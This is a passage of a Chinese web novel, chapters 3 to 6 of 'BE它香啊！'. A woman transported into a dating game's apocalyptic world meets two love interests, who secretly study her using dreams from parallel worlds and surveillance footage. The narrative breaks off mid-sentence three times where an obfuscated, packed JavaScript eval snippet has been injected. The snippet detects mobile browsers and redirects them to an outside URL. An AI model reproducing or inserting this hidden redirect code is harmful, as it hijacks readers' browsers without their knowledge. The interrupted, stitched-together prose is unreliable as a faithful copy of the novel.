《BE它香啊！》 3. 第 3 章 基地中心的一间会客室。 乔梁坐在真皮沙发上，面前是热腾腾的茶水，对面是位面容清俊的青年。他对着乔梁露出一个温柔的笑意，“很抱歉，乔小姐，之前并不知道您是净化者，基地招待不周了。” 乔梁：“没关系。” 她认识对面的人，老公……呸、这个游戏的攻略对象之一。 主要负责第三基地的内部事务，年轻有为，据说是已经被内定为下一任的基地长。 因为穿越得太仓促，乔梁接受现实都花了好长一段时间，还没来得及做多余的探索，没想到自己居然加载了女主模版。 是的，在一个恋爱游戏中，女主怎么可能泯然众人呢？ 她是一个净化者。 游戏背景是黑雾侵染现实，不过这么多年过去，人们也逐渐探索开发出对黑雾的应用，包括但不限于作为能量来源为基地供能、强化个人的身体。但这种应用终究是有弊端的，尤其是后者。黑雾或者说黑雾的制成品确实能够大幅度提高人体的素质，但是一旦超过某个限度，就会彻底吞噬理智，把人变成黑雾的寄宿体。 这种时候就需要净化者了。 看出了乔梁的紧绷，宋年安抚地笑了下，“乔小姐不用这么紧张，虽然这些年净化的技术改进了不少，但终究有弊端。您作为净化者，不管在哪个基地都会受到礼遇的，我们第三基地也非常欢迎。需要我向您介绍一下基地的福利吗？” 青年的声音温文尔雅，乔梁回答却很僵硬，“不用了，我可以自己看。” 说着，她拿起了手边的小册子，正是对方刚刚递过来的基地说明。 宋年彬彬有礼地做出了请的姿.势。 像是看出了乔梁的不自在，还体贴地让出了空间，“乔小姐如果需要，可以按铃。我就不打扰了。” 一直等到青年的身影消失在房间里，乔梁才不着痕迹地松了口气。 宋年刚才说的没错，但他落了一点，他也是基地的“福利”之一。 虽然这是玩家戏称的吐槽说法，但这位是真的会为了让基地多了一个净化者而主动追求（勾.引）玩家。 作为正牌官方指定男主，乔梁当然通关过宋年线。 因为是对方主动追求，这条线没什么难度，就是通关完毕之后莫名有种既视感，这人追求的是女主角的净化者身份而不是这个人，仿佛有哪里怪怪的。 总之感受平平，对乔梁没什么特别吸引力，她只通关了一个完美结局就放置了。 但纸片人和真人还是不一样的，真的见面之后，只能让人感慨，官配男主不愧是官配男主，谁少女时期没有幻想过一个温文尔雅的白马王子呢？ 然而现在这里只有一个被现实毒打过的社畜，乔梁只感慨了两句，就飞快地冷静下来。 比起无关痛痒的恋爱线来，她更关心现实的问题：她都加载了女主模版了，那这个世界的背景剧情呢？后一个问题可是生死攸关的大事。 * 宋年走出了会客室，脸上的笑意渐渐消失。 作为基地的事务中心，不断有人来来回回经过，不时就有人驻足问好，“宋长官。” 宋年一一点头应和，重新挂回了那滴水不漏的笑容，只不过脚下却选定了一个方向，快步走了过去。 基地的事务楼确实在基地的核心位置，但是整个基地的正中心却是一个巨大高.耸的石碑，上面密密麻麻地雕刻着名字，宋年果然在石碑前面看见了想找的人。 只不过他过来的时候，唐问旸已经准备离开了。 宋年扬了下声：“问旸，等一下。” 唐问旸微微驻了步，转过头来看。 宋年往前赶了几步跟上去，经过石碑的时候，他也下意识放慢了脚步，半垂着目光扫过去，但很快就收回视线。 “是那位净化者小姐……我听说，人是你带回来的。能和我说说情况吗？”他一边往前走，一边接着，“我觉得有点奇怪，她好像认识我。” 唐问旸脚步顿住了，“她也认识你？” “也？” 唐问旸把当天的情况复述了一遍，当然隐去了某些过于尴尬的称呼。 “……她认错人了，但确实知道我的名字。没人会把净化者扔到野外，而且那一天我也是临时经过那里的。”也不存在事先蹲守的可能性。 宋年想了一会儿却没想出个所以然，就算有什么目的，也没道理会让一位净化者来。 他最后拍板，“先接触下看看吧。” 毕竟是位净化者，能争取还是争取一下。 * 乔梁还不知道自己被当成“别有居心”了，她辗转了一晚上，觉得还是需要主动出击：恋爱游戏的剧情虽然是背景板，但是架不住它伤害性大啊！动不动就拉着整个世界一起毁灭，谁遭得住啊？ 下定了决心，乔梁第二天就和宋年谈了条件，“我可以暂时挂名在第三基地，每月完成标准净化名额。作为交换条件，我能在基地内部发布任务吗？” 宋年不答反问：“乔小姐好像对第三基地很了解？” 知道基地净化者的待遇，也知道内部任务发布情况，虽然这些东西不算机密，但也不是随随便便能知道的。 “……之前在救助站呆了一段时间，听说过基地的一些规则。” 在这位面前扯谎有够心理压力的，乔梁掩饰性地去倒了杯水，结果差点被呛死。 是薄荷水。 要是普通的薄荷水，乔梁不至于这么大反应，但这薄荷水浓度不对。 辛辣的刺痛感在唇舌中漫开，嘴巴一下子就全麻了，直到淡淡的清凉感在麻木的口腔中泛开，乔梁才后知后觉想起这位资料页上写着的“爱好薄荷水”。 虽然玩家姐妹日常飞苦茶子的时候就讨论过这位的吻是不是薄荷味儿，但现在乔梁只想说、这个薄荷味和你们想的薄荷味可能不是同一个。 宋年观察着乔梁的反应，见她那短暂错愕后、立刻像是想起什么的恍悟的神情，眼神闪了闪。 他很快用微笑掩下那点异色，开口：“我不建议您直接在基地内公开发布任务。请不要误会，并不是拒绝您的意思。只是净化者发布的任务很容易引起争抢，最近基地内不太稳定，一不小心就会演变成大.麻烦。” 乔梁愣了一下，倒是想起来了。 按照剧情，第三基地现在确实存在问题，而且似乎和背景主线有联系。 但是更具体的内容，乔梁就不知道了。 谁家通关恋爱游戏会去关注背景剧情啊？！通通都skip了。 宋年观察着乔梁的表情，若有所思。 ——知道但不清楚细节吗？ “都是一些小事。不如这样，乔小姐先给出任务要求，我再向您推荐合适的任务者。”宋年这么提议着，又试探，“或者您有心仪的人选？” “唐问旸”三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478892|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字差点脱口而出，乔梁艰难地压住。 虽然她的本命身高腿长实力一级棒，但却是个独狼！以两人目前一星都没上的好感状态，想让对方带着她这个拖累去做任务，做梦还更快一点。 宋年静静等了一会儿，见乔梁确实没回答的意思，这才像是刚想起来似的、歉意地，“我忘了，乔小姐刚来第三基地，对基地内的情况还不了解。我晚些时候会整理份名单给您。” 乔梁：“……？” 她刚才是被套路了吧？但这人到底在套路什么？！ * 宋年从乔梁这边离开，直接去找了唐问旸，他开门见山，“我昨晚做梦了。” 要是换个时间，宋年没头没尾来这么一句，唐问旸直接把人扫地出门了，但是这次他却动作一顿。 宋年心道一句“果然”。 “我猜你也是？能说说什么内容吗？” 唐问旸没说话。 宋年也不在意：“和那位净化者小姐有关？” 唐问旸表情微僵。 宋年接着交换情报，“我先说我的。是婚礼，很不错，应该是我理想中的婚礼了。” 不可能是单纯的梦境，里面的画面太细节、太真实。 他的婚礼不可能是单纯的婚礼，作为社交场合的仪式性质更强，见到的人、谈判的对象、每一句话每一个表情，他不可能仅凭自己构想到这种程度。 对上宋年那认真的表情，唐问旸一时不知道该震惊“居然有人受得了你这个控制狂”，还是该吐槽“把梦说得这么一本正经仿佛事实，你是有什么毛病”。 “上次和青雀基地联合清理的那个研究所，我从里面的资料发现点有意思的事，平行世界——他们想打开平行世界。” 宋年抬头看向唐问旸，“你说你发现她的时候，周围什么人也没有？” 唐问旸终于明白过来，“你的意思是？” 宋年笑了下，“我还是挺赞成他们的设想的，寻找一个没有黑雾降临的世界，很有想法。” 唐问旸的表情立刻难看下去。 然后呢？把想办法把这个世界的黑雾驱除到另一个世界？要是真的存在可行性，宋年绝对干得出这种事来。 “开玩笑，他们可给我们带来不少麻烦，我头疼还来不及呢。”看出了唐问旸表情不好，宋年耸耸肩先一步让步，“既然这边提出了构想，平行世界说不定已经实施了。要是对方想要打入我们内部，净化者的身份就十分合适……” “我本来是这么想的，但是事实好像有点出入，她似乎对第三基地并不了解。如果梦中的婚礼是真的，那她作为第三基地未来的基地夫人，不会对基地生疏到这个地步。” “……我有点新的猜测，能和我说一下你的梦吗？” 其实还是情报交换。 按理说，他都坦白到这地步了，唐问旸没有隐瞒的必要。但是宋年抬头看了看，却见唐问旸撇着头半天没有回应。 这倒是有意思了。 唐问旸：“……” 他当然注意到宋年饶有兴趣的眼神，但又实在没什么敷衍对方的心情。 如果是单纯做梦，他还能考虑一下自己是不是有了什么心理问题。 但真按宋年的说法、平行世界？那他是对别人的老婆求而不得，所以才暗地里动手，把人锁在地下室里这样那样吗？还真的做出来了！ 这种人渣有活着的必要吗？！ 4. 第 4 章 打游戏的时候skip剧情线的坏处终于显露出来，乔梁除了知道反派想要毁灭世界之外，对其具体的操作流程一无所知。 “乔小姐是想要找一个研究所？具体位置呢？” 乔梁：“……”不知道。 这不能怪她！ 在恋爱游戏里找地图？游戏策划都不一定设计过！ 明白过来这份沉默中隐含的意思，宋年体贴地没有追问。他尝试从别的方面打开思路，“你可以想想还有什么别的信息。什么方面的内容都可以，提供的信息越多，越容易确定方位。” 乔梁犹豫了一下，“我知道他们的内部布置。” 毕竟反派线里有好多play……不是，好多恋爱情节点都发生在实验室里。但先别提二次和三次的区别，就只说那些场景、真的不是背景贴图吗？不太靠谱的样子。 她顿了顿，不得不补充一句，“可能。” 宋年若有所思。 熟悉内部情况却不清楚外部位置，研究员？还是实验体？根据救助站那边问出来的情况，她很熟悉医疗工作，应该前者。“不确定”是因为换了个世界，不清楚内部布置是不是一样么…… 宋年思索这这些，脸上的表情却没变，“第三基地有位这方面的专家，常年在基地外活动，对外面的情况——不管是研究所、还是其他私人基地——都很了解。乔小姐要不要跟他谈谈，说不定会有什么收获。” 乔梁硬着头皮点头。 自己的情况自己知道的，凭几张游戏贴图找到反派根据地，实在有点异想天开。但是要求是她主动提出来的，这会儿拒绝反而显得很奇怪。 等到宋年离开后，乔梁忍不住叹气。 果然是她想的太简单了，boss哪是那么容易推的。 只是这么唏嘘了一会儿，她突然意识到一点。 “常年在基地外活动”、“这方面的专家”…… 宋年该不会指的是她老公吧？！ * 宋年说的确实是唐问旸。 但说实话，唐问旸对接下来的会见并不情愿。 得知那很可能是“平行世界已经发生的真事”之后，再去面对受害者，他心态很难放平。 两人正站在基地长的办公室，汇报乔梁的情况。 报告是宋年交上了来的，分析相当详尽，除了唐问旸怎么都不肯交代他的梦境之外。 桌子后面是位精神矍铄的老者，他的头发已经全白了，但是坐着的时候腰板却是挺直。 老者从头到尾把文件翻看完了，目光落定在“婚礼”那两个字上，抬头看看宋年、又看看唐问旸，笑意慈和地，“我倒想去见见那孩子了。” “我不建议您亲自去见她。基地内多一位净化者是好事，但还不至于到让您亲自去见的地步，这么兴师动众，容易让她察觉异样。” 虽然因为唐问旸的隐瞒，宋年的猜测没有得到实际验证，但是有一点是可以确定的，对方并不知道他们能看到梦境的事。 而且—— “我们看到的梦境，也并不是她的经历，我推测是别的平行世界。时空交错带来的记忆混淆？平行世界的排斥？不管那是什么、具体又是什么原因，事实就是，我们对她和她的世界毫无了解。这太被动了。” 基地长摇了摇头，“小年，你太紧张了。我倒是觉得那是个好孩子。” 他这么说着，手里还翻着乔梁在救助站的个人报告。毕竟是外来人员进到基地的第一道线，救助站的条件虽然不太好，但是对它的监察其实相当严密。 宋年当然也看过了。 “我赞同您的说法，就她的表现来看，她的道德感高于平均水准。但是这和人品没有关系，好人也可能被利用。” 基地长笑着摇摇头，对此没做什么评价。 他又看了看手里的写着“婚礼”字样报告，莞尔：“你们年轻人的事，我就不掺和了。” 宋年：“我可以理解为，您让我全权负责这件事吗？” 基地长哑然瞬许，到底点了下头。 宋年颔首：“那就不打扰您休息了。我和问旸先走了。” 临到离开，基地长还是开口叫住了他，“小年，多去看看‘人’。” 宋年脚步顿住。 基地长的话点到即止，但宋年却给出了相当明确的回答，“平行世界只是可能性的一种。净化者确实符合我的择偶标准，但前提是她不会给基地带来危险。” 宋年回答着基地长的问题，但是目光却看向唐问旸。 他不知道唐问旸的梦境是怎么回事，但绝对不希望这种事成为不安定因素。 唐问旸：“……” 被警告了啊。 他“嘁”了一声，脸色难看地别开了脸，低声，“知道了。” 宋年这才转过身去对着基地长微微致意，又顺势关上了门。 注视着门扉缓缓阖上，基地长无声地叹了口气，感慨：“还年轻啊。” 也就是年轻的时候才会这么界限分明，但人也好、关系也好，缘分的事哪有这么容易说清楚的。 他抬眼看了看墙上集体合照，穿着作战服的年轻人们站在废墟上笑意昂扬。 他盯着看了一会儿，摇头失笑，“一转眼，我们都到了抱孙子的年纪。” 就是不知道他能不能看到小年的婚礼了。 问旸也是。 成年之后，连基地都不怎么回。 ……这帮孩子啊。 * 出了办公室，穿过走廊。 过了几个拐角之后，就看见宋年准备往旁边走。 唐问旸挑眉：“你不过去？” 不是刚才还不放心他吗？ 宋年也没瞒着：“你自己去。我在别的地方看。” 唐问旸：……监控室。 他在心底默默啐了一句“变态”，但还是默认了对方行动。 有宋年这种人在，他还真不敢确定平行世界是什么情况。 谁都不想自己世界被当成垃圾场。 …… 虽然已经有了准备，唐问旸还是做了会儿心理建设，才敲了门。 里面传来一道柔和的声音“进”，唐问旸深吸了口气，抬手推开门。 ——太好了，不是在床上。 他发现自己脑子里冒出来的第一个念头居然是这个。 唐问旸：“……” 他在门边站定，尽量保持着最远的距离，目光落在对方身后面的窗户上（万幸这房间有窗），公事公办地，“宋年说你要找一个研究所，是什么研究所？你详细说一下。” * 与此同时，监控室。 宋年把唐问旸进入房间的那一帧暂停，选中一角放大。 静止的画面中所有细微的动作无所遁形，放大的细节更是让情绪反应也清清楚楚呈现在的眼前。画面中的人身体微微前倾，按在沙发扶手的手指绷紧、抓住清楚的褶皱印痕，再往下，脚尖也不自觉地踮起……非常明显地想要靠近的趋势。 宋年忍不住笑了一下。 ——果然。 知道第三基地的规则，却并不熟悉内部人员，仅凭这一点很难划定范围，但是到“了解他、甚至知道他日常喜好”的范围内，可供猜测的人就很少了，多半是私人交际。但却不是直接的私人交际——对方对他很了解，相处起来却不熟悉，不可能是梦境婚礼中的那位“未婚妻小姐”…… 原来是问旸啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478893|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想想也确实很合理。 以唐问旸长期在外活动的行程，确实更容易发现研究所。英雄救美？ 看着监控画面中，对方目光不自觉追随唐问旸的动作，很容易让人做出推测，恐怕两人的关系还不止于此。 宋年瞥了一眼画面中的唐问旸，眼底的笑意愈甚。 好好点表现啊，问旸。 毕竟是同一个人，应该很容易吧？ 平行世界的技术，他也想要。 * 乔梁还不知道自己的一举一动都被人盯着。 她正沉浸式地体验和纸片人老公三次元接触的激动心情。不是coser，不是角色扮演，是真的！活人！！ 近看真的很帅气啊！ 不愧是她老公！果然还得是她老公！！ 乔梁觉得自己痴汉的心可能暴露了，因为唐问旸从进门开始就站在屋里的最远处，保持距离的态度十分明显。 明明上次见面不这样！ 说起上次见面，乔梁禁不住就想起，自己是怎么把人当司机晾了一路的行为。 同步回顾的还有那时的心情。 一下子想起的穿越现实像是当头棒喝，上头的情绪陡然降了温，种种复杂的感受在胸腔内交错聚集，刚才那一瞬间的激昂情绪怎么都没办法被再次唤起。 稍微冷静了一会儿，乔梁总算缓和了点。 她抬头看向门边的人，这次却是认真地，“上次的事，还没来得及谢谢你。要不是你，我可能就死在那了。” 自己身体素质自己清楚，要不是唐问旸那及时的一刀，她可能穿越第一天就喜提“曝尸荒野”的成就。 唐问旸像是愣了愣，隔了会儿才答了句“没什么”。 他这么含糊地答应了一声后，又立刻转移话题，“先说研究所吧。” 但气氛好像缓和了不少。 …… 乔梁本来不指望凭着那一点游戏贴图找到反派基地，但是专业人士出马就是不一样。 “这种据点的位置一般很隐蔽，周围有作为屏障的高危黑雾区。按你的描述，它的占地范围很大，几乎相当于一个小型的基地了，能提供这种屏障的区域不多。”唐问旸这么说着，顺手在地图上圈住几个范围，“你说窗上会结雾？是昼夜温差很大，还是那里天气很湿润？” “我没出去过。”乔梁迟疑着，“应该是很湿润？” 如果是温差的话，里面的人应该经常换衣服。但也说不定，毕竟游戏角色都有固定套装，换了衣服认不出人的事也常有。 听到某个关键词，唐问旸思绪一滞。 他抬头看了乔梁一眼，在被注意到之前又迅速撇开视线，强硬地把这个话题转开，“里面的物资供给很充裕，有很多新鲜的食材。高污染区域没法种植，肯定有别的基地为它提供供给，你有注意过物资上标注的生产日期吗？” 乔梁：“……我想想。” 反派那条线她反而skip得不多，毕竟实验室里每个play都很香，但是涉及到这种细节，她也只能艰难地回忆、试图从那喷香肉饭的犄角旮旯里找出有效信息。 两弯柳眉细细地蹙着，贝齿轻轻咬着下唇，在柔软的唇肉上压出一道白痕。 梦境中的画面倏忽闪现，那个时候她好像就是这副表情，鼻间是压抑忍耐着细细的喘.息…… 唐问旸一巴掌拍在自己脸上，往后退了整整三大步，直接靠到了门口。 对上乔梁诧异的目光，他抬了抬手里的通讯器，僵着脸面无表情地，“想起来给我发消息。” “我还有事，先走了。” 话音还没落下，人已经转身出了房间。 还是让宋年来吧。 他不行！ 5.第 5 章 唐问旸本来是去找宋年说清楚的，但是见到人之后还没有开口，先被抢了白，“你看这个。” 被递过来平板里播放着一段影像，正是刚才他从进到那个房间到出来的监控内容。 唐问旸眉心跳了跳，“你是不是有病？我可没有……”这方面兴趣。 没说完的话噎在了嗓子眼里。他突然想起来，在梦里面、那间地下室，似乎确实有个类似监控摄像头的东西。 就大大啦啦地摆在桌子上，正对着—— 操！ 越回忆越想杀人，那种垃圾趁早人道毁灭得了。 想得多了甚至都有点反胃，唐问旸想不明白平行世界的自己到底是怎么变成人渣的。 他不想知道细节！ 面无表情地盯着眼前这段监控看完，唐问旸抬头看宋年，“行了，你想说什么。” 整个对话他都在现场，没听出来什么问题。对方的描述都是实验室内的情况，虽然语焉不详的，但听起来像是真的见过。比起对方真的抱着什么目的来这个世界的，他更倾向于是意外事故到这里的倒霉蛋，或者更惨一点，被用来测试通道稳定性的小白鼠。 宋年叹了口气，把他加了特别标记的帧都选出来平铺到了屏幕上。唐问旸本来还不明所以，在宋年的提醒下总算注意到异样。 “看出来了吗？”宋年抬手在上面比划了一下，“她的眼神，还有肢体倾向。” 唐问旸愣了下，“她在看……”我。 他这么说着，猝然想起刚刚见面那次，对方脱口而出的称呼。 不会吧？！ “她对你的戒心很低，你——” 唐问旸直接拂开宋年伸过来想要拿平板的手，冷声，“我不干。” 宋年也不介意，只是换了个屏幕保存刚才监控里的录音，缓着声问：“你就不想知道，她这么急着找研究所是为什么？你就不怕她真的想在这个世界做什么？只是问一问而已，不会对她做什么的。” 唐问旸信了他的邪！ 他冷淡地扯了扯嘴角，嘲讽，“她如果说了，你信吗？” “当然——” “不信。” 他双眼弯起了柔和的弧度，温润地，“技术总要攥在自己手里才安心。我只是希望这位乔小姐多提供一点儿消息而已，并没有打算伤害她。用一点大家都高兴的方法，这不是很好吗？” 唐问旸：“……” 这人有时候真的怪让人恶心的。 “我会跟她确认来意的。那个研究所我也会去调查，但是除此之外，别的就没了。” * 乔梁也没想到，凭借着那点七拼八凑出来的游戏情报，居然真的锁定了几个疑似地点。第三基地不可能因为这点情报动用官方力量，所以之前乔梁才说以私人名义委托调查，目前来看，接下这委托的大概率是唐问旸了。 这也就意味着，她老公要因为一点“不知道是不是准确的”“消息来源是游戏背景贴图”的情报，去调查风险未知（很可能是反派大本营）的研究所。 乔梁：“……” 睡不着！ 她抱着被子辗转半宿，第二天顶着一个硕大的黑眼圈起床。 宋年依旧准时准点地出现，语气关切地，“乔小姐没休息好？是基地安排的公寓不舒服吗？要是觉得哪里不合适，可以换个房间，这点权限我还是有的。” 一款非常温柔体贴的暖男了。 但因为有通关过的游戏结局在那儿，乔梁怀疑他在刷净化者的kpi。 “叫我乔梁就行。公寓很好。”乔梁简短地答了对方问题，又提出了昨天晚上纠结了一晚的想法，“这个探查研究所的任务，我能一起去吗？” 宋年猜到了会如此，但表面丝毫不显。 他面上微微一愣，旋即为难似的微蹙起了眉。 “不行吗？” 乔梁其实也预料到了。 毕竟她老公就是这么有个性，从来都是单独行动。 宋年缓声：“倒也不是，只是有点意外，野外毕竟有风险，大部分净化者都更愿意呆在基地里。但是问旸……他虽然是第三基地的人，但是登记的是自由佣兵，我也是因为个人交情才托他接下这个探查任务的，但具体执行方式和同行的对象，还得由他自己决定。” 宋年确定自己只说了“由他自己决定”，对面却已经露出确定被回绝的表情。 果然很了解啊。 宋年笑了笑，“乔梁小姐不如亲自去问一问？在野外任务里有一位净化者在，是多少人求之不得的好事。” 乔梁：……那是别人。 她老公不需要QAQ~ 虽然和宋年聊过之后基本确定了回答，但是乔梁还是不死心发了消息，问唐问旸能不能见面谈谈。 至于说为什么是约见，而不是线上说。 她想多见见老公有错吗？！ 对面好长时间都没有回答。 就在乔梁以为是“已读不回”的婉拒意思时，对方发过来一个时间地点。 乔梁：！ 按理说这种限定约会剧情要好好打扮一番的，但是奈何现在一穷二白的条件有限。 虽然基地的“净化者”待遇不错，但在类末世背景下，物资储备实在有限。乔梁挑了一件目前看起来最体面的衣服，努力搞了个自己目前能搞定限度内的最精致盘发发型，匆匆赶去约定地点。 去早了。 早了整整一个小时。 唉~上头了就是这点不好…… 避免干喝水到本命出现的时候不停跑厕所的惨剧，乔梁决定现在附近转转，却不想遇见了一个熟人。 “姚姚？” 小姑娘愣一下，她下意识想开口。 但紧接着不知想起什么来，表情动作都拘谨下去，连称呼都疏远了许多，“乔姐姐。” 乔梁眨了下眼。 没有什么是一顿爆米花解决不了的。 如果没有，那就两顿。 把上次欠了的爆米花补上之后，小姑娘很快就一口一个“姐姐”亲热起来。 纸筒的爆米花放在中间，一大一小互相关心了一下近况。 在充分满足了小姑娘对“净化者”生活的好奇心后，乔梁主动邀请对方来公寓做客，却不料刚才还一脸兴奋的小朋友突然支吾了起来，“姐姐的公寓也在中心北边吗？那里离污染区很近……” 乔梁奇怪：“污染区？” 她没在基地地图上看见这种标注，而且基地的建设本身就依凭着净化设备，越靠近核心的地方黑雾浓度就越低，中心区更不可能被污染了。 姚姚像是犹豫了一下，她先是四下看了看，然后小幅度扯了扯的乔梁的袖子。 乔梁跟着她的动作半俯下.身，这才听见耳边压低的声音，“是被污染者，那里住了好多被污染者。” …… 来早了。 唐问旸看了看眼时间，略微烦躁地拧了下眉。 他其实不太想见乔梁。 不管是因为那个操.蛋的梦境，还是平行世界里“疑似”和对方的亲密关系。 但是放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489177|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管，还不知道宋年能搞出什么幺蛾子。 虽然在基地长眼里都是“亲自看着长大的好孩子”，但唐问旸知道宋年是什么德行。除了确实会对第三基地尽心竭力之外，别的方面就不用指望他人品了。 救人救到底。 去提醒一下，让她有办法就赶紧离开第三基地，也就仁至义尽了。 唐问旸正这么想着，注意到不远处的一大一小。 两人中间放着一袋爆米花，大的那个正低着头，两颗脑袋凑在一起、毛绒绒的，像是什么正分享食物的小动物，唐问旸不自觉地笑了一下。 然后就听见了那句“被污染者”。 笑意僵在了脸上，但也只有一瞬而已。 唐问旸很快就整理好表情，只是微微敛下笑容，除此之外再无任何异色。 没什么可生气的。 只是被说出了事实而已。 黑雾强化身体，本来就是一个没法挽回的过程。不断用那些能量锻造身体，越是强化越是容纳，等到彻底侵蚀的那一天，就是堕化了。 唐问旸低头看向自己的手。 从这里切开，里面会流出血来吗？ …… 乔梁听得愣了一下。 毕竟已经通关了好几个结局，她其实知道“被污染者”这个非官方说法。但过剧情的几行文字，和亲耳听到到底是不一样的，她忍不住看向身旁的小姑娘。 姚姚表情有点躲闪，她看起来也知道这说法不那么好，这个基地的建立和维持很大程度上就是依靠着所谓“被污染者”。 但是即便如此，她眼底还是不由自主地露出排斥的意味。 久久没有等到乔梁回答，小姑娘像是意识到什么一样，她立刻敛住了那点儿细微排斥的情绪，笑着：“我也不知道更具体的，都是听大人说的，说那边很危险……” 话没说完，头上被摸了一下，“没什么，这很正常。” 姚姚敛下那勉强的笑容，略微试探地看过去。 “自保是人的本能，遇到危险的时候，人总是会率先保护自己，这没什么可谴责的。姚姚觉得他们很可怕？” 小姑娘顿了顿，隔了一会儿才点头。 “就像是上次一样，他们有时候会在基地里堕化。”她像是强调，“特别危险，要是避不开的话，说不定会死。” “但是也有人保护了你吧？” 姚姚抿了抿唇，“那本来就是他们……”自己的事。 声音渐渐小下去。 “就像是世界上有好人也有坏人一样，污染者里面也有肆意制造伤害的，也有想要靠着这份力量保护基地的，我们要学会把他们分开，不能简单地这么概括。” 小姑娘没吭声。 但看表情像是不太情愿。 乔梁打量了一会儿，突然开口，“姚姚想当医生吧？” 对面这次总算应了，“嗯。” “医生以‘人类生命’为最大的尊重，年龄信仰、种族国籍立场、是不是污染者，都不该构成对生命的亵渎。” “我不是医生，我只是对人体结构有些了解，并且恰巧掌握了一点技巧的普通人。”乔梁垂着眼，注视着那双明亮又稚嫩的眼睛，“姚姚要做那样的医生吗？” 姚姚：“……” * 侧边的转角处，唐问旸屈着一条腿，背靠着墙壁。 他仰着头看向天空，依旧灰蒙蒙的、半点都不见清朗，但嘴角却不知道什么时候扬了起来。 眼光不错嘛。 ……虽然是个人渣。 6.第 6 章 乔梁如愿以偿地见到了人。 因为在基地内，唐问旸穿得很日常。黑色的打底背心外面套了件外套，随身的唐刀背在背后，下.半.身裤口利落地束在作战靴里。 不愧是她老公！ 随便穿穿都是男模，连坐下的姿.势都显得与众不同。 唐问旸：“……” 没被宋年点出来也就算了，真的注意到以后，这眼神简直让人浑身刺挠。 他认真思考了一会儿要不要警告回去，但梦中的暧昩画面和初见时的那一声“老公”交替地在脑海里闪现，唐问旸痛苦地拧开脸。 算了，就这样吧。 抱着速战速决的心态，他先一步开口，“找我有事？” 乔梁也知道唐问旸这很少废话的风格，直接提出了自己要求。 “研究所的情况还不确定，去的路上我说不定能想起来什么，我能和你一起去吗？” 唐问旸却不答反问：“你为什么要找这个研究所？” 这个问题确实要问清楚。 但比起宋年那曲曲折折的方式，他更倾向于直接开口，他不觉得对方会隐瞒——当然，不是因为那些糟心的关系。 乔梁却被问得卡住了。 按照剧情发展，这个世界有位脑子有点大病的高智商反社会。探索平行世界的过程中，无意中发现某个世界他父母俱全、家庭幸福美满，遂决定献祭自己的世界，为平行时空铺出一条康庄大路——舍己为人、情操高尚，就是没有去问本世界的人愿不愿意。 “他们在研究一些不好的东西。”这个目前只存在于反派脑子里的计划没法解释消息来源，乔梁只能避重就轻，“他们生产一种强化药剂，能短时间内大幅度提高身体素质，但是对神经的侵蚀性……” “crepuscolo。” 对面人突然倾身逼近，乔梁的话一下子中断了，近距离暴击让她差点咬了舌头，“什……什么？” 克什么斯洛？ 发音有点熟悉，她是不是在哪里听过？ 唐问旸眯起了眼。 crepuscolo，宋年让他调查的违禁药品。她对效果这么清楚，却不知道名字？是“不知道”，还是没想起来？之前谈起那间所谓“研究所”时也是，记忆点非常奇怪，简直像是不连贯片段硬生生拼凑起来一样，叙述视角也带着种怪异的抽离感。 细碎的片段一点点拼凑，某个完整的猜测在脑海中被勾勒出来。 唐问旸看着对面的人，缓声：“你还知道什么？或者说——你还记得什么？” 乔梁一时没反应过来。 却听见对方接着，“你还记得自己是怎么到这个世界来的吗？” 乔梁：！！！ 思维陡然空白下去，她愣愣地看着对面的人。 对面人的神情毫无动摇，锋利的视线仿佛刀片冰凉地贴在肌肤上，层层剖开窥探着真实，森冷的寒意从骨缝最深处透出。 他知道、他为什么会知道？！ 穿越是怎么回事？所谓“平行世界”也涵盖了她的世界吗？ ……到底是我在玩游戏还是游戏在玩我？ 种种问题一起在脑中涌现，声音嘈杂得几乎要将人淹没，乔梁使劲摇了摇头，想将这些问题晃出脑海。非但没有成功，反而更糟了，纷繁的画面在眼前闪现，有现实世界的经历、有游戏画面、也有这几天穿越后所见的……到底哪个才是真的？哪个才是她？ 睡眠不足的后遗症似乎在这时候闪现，耳边发出刺耳的嗡鸣，连眼前所见都扭曲了，超过承载力的大脑强行关闭了意识，所有的一切归结于一片黑暗。 唐问旸看见情况不好，已经推开了座位往前抢了一步，但也只来得及捞住对方侧倒下去的身体。 唐问旸：“……” * 医院病房。 “所以你就这么把人弄得晕过去了？”宋年依旧是那温和的笑意，但语气怎么听怎么阴阳怪气，“看起来你对我办法不太满意。也好，过程手段不是问题，问讯的结果怎么样？” ……这人刚刚说了“问讯”这两个字吧？ 看着躺在床上、苍白唇色几乎和身下床单同色的人，唐问旸还是暂时忍了。 